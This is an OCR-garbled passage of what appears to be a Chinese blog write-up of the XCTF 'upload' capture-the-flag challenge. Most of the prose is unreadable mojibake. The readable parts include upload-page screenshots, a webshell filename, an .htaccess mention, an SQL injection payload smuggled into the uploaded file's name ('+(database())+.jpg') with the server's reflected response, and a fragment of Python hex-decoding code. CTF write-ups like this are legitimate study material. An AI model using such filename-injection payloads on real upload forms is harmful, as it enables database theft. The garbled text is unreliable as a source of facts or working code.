XA _EAEFEN—— [XCTF] upload writeup

Ve99 F 2019-10-04 14:37:20 &4 1427 ISR, 1
5L WEBLCTE
PR B ARt R JRAISCE, A CC 4.0 BY-SA FRAUIMY, BEiEM L JE S A g B4 s 0

A HESE: https://blog.csdn.net/qq_42939527 /article/details/102062412
KA

. EB]-CTF LR ZHNE

10 WXEO0ITH
ITEER

& H

& B 4 Nupload
FANTE, FEMadminiks, BEAadminks, —HITamiK
KRBT S0 LA T

Upload page - Welcome admin

Logout
file list(<10 files)

M. | AR,

submit

XA b4


https://blog.csdn.net/qq_42939527
https://blog.csdn.net/qq_42939527/category_9319635.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_42939527/article/details/102062412
https://blog.csdn.net/qq_42939527/category_9319635.html

R EAEE A ==>E

Upload page - Welcome admin

Logout
file list(<10 files)

.. | R
submit
timgkbvxd8au.jpg

REEEUARI, Ntk
ZNjpg BT, png & HAthig i B A ST 34 A

=R Efephp—AJ1EAR D ==>3R 4
& C © © 111.198.29.45:43337/upload.php

W (©) XCTFESHST BugkuCTF % SCERIE & DigApis
Q ¢ & F E g gAp
Incorrect file extension!

ZR EE-AEERAF L ==>ET (HEHFREMHAH, BAREERRD

Upload page - Welcome admin

Logout
file list(<10 files)

M. | AR,

submit
shell(cmd).jpg
timgkbvxd8au.jpg

&M, BERE T EEXHFRERA D AP, (BIHEAX S A AR B R /40 &
MTIE A BEIT3ERM, BA—REAE B, ek bk htaccessif B B##T

KR RAAE T, B EASRAOOREX 4, Hb% mE T EAR K SCE AN G B FEREN, I H A% S zhing & B fuid
WHER TR —



XHEZEN
o JEWN G insertiEa) A :
insert [#&] values
Mt payload:
jpg

BlE ==>0

HTTP/1.1 200 0K
Date: Fri, 04 Oct 2019 05:29:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5. 5. 9-lubuntud. 26
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache—Control: no—store, no-cache, must-revalidate, post—check=0. pre-checlk=0
Pragma: no—cache
Refresh: 1, index.php
Vary: Accept—Encoding
Content-Length: 284
Keep—Alive: timeout=5. max=100
Comnection: Keep—Alive
Content—-Type: text/html
DOCTYPE himl
<html lang="en">
<head>
<meta charset="utf-8">
<title>ROIS</title>
<link href="stvle/bootstrap.min.css” rel="stylesheet”:
<link rel="stylesheet” href="stvle/main.css">
</head>
<hody>File "+( database())+ . jpg has been upleaded from adminsnd uid is: 1660
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t1 [h[i:(1i+2)] for i in (9, W3R
t2 = [int(i,16) for 1 in t1]
t3 [ (i) for i in t2]
S . (t3)
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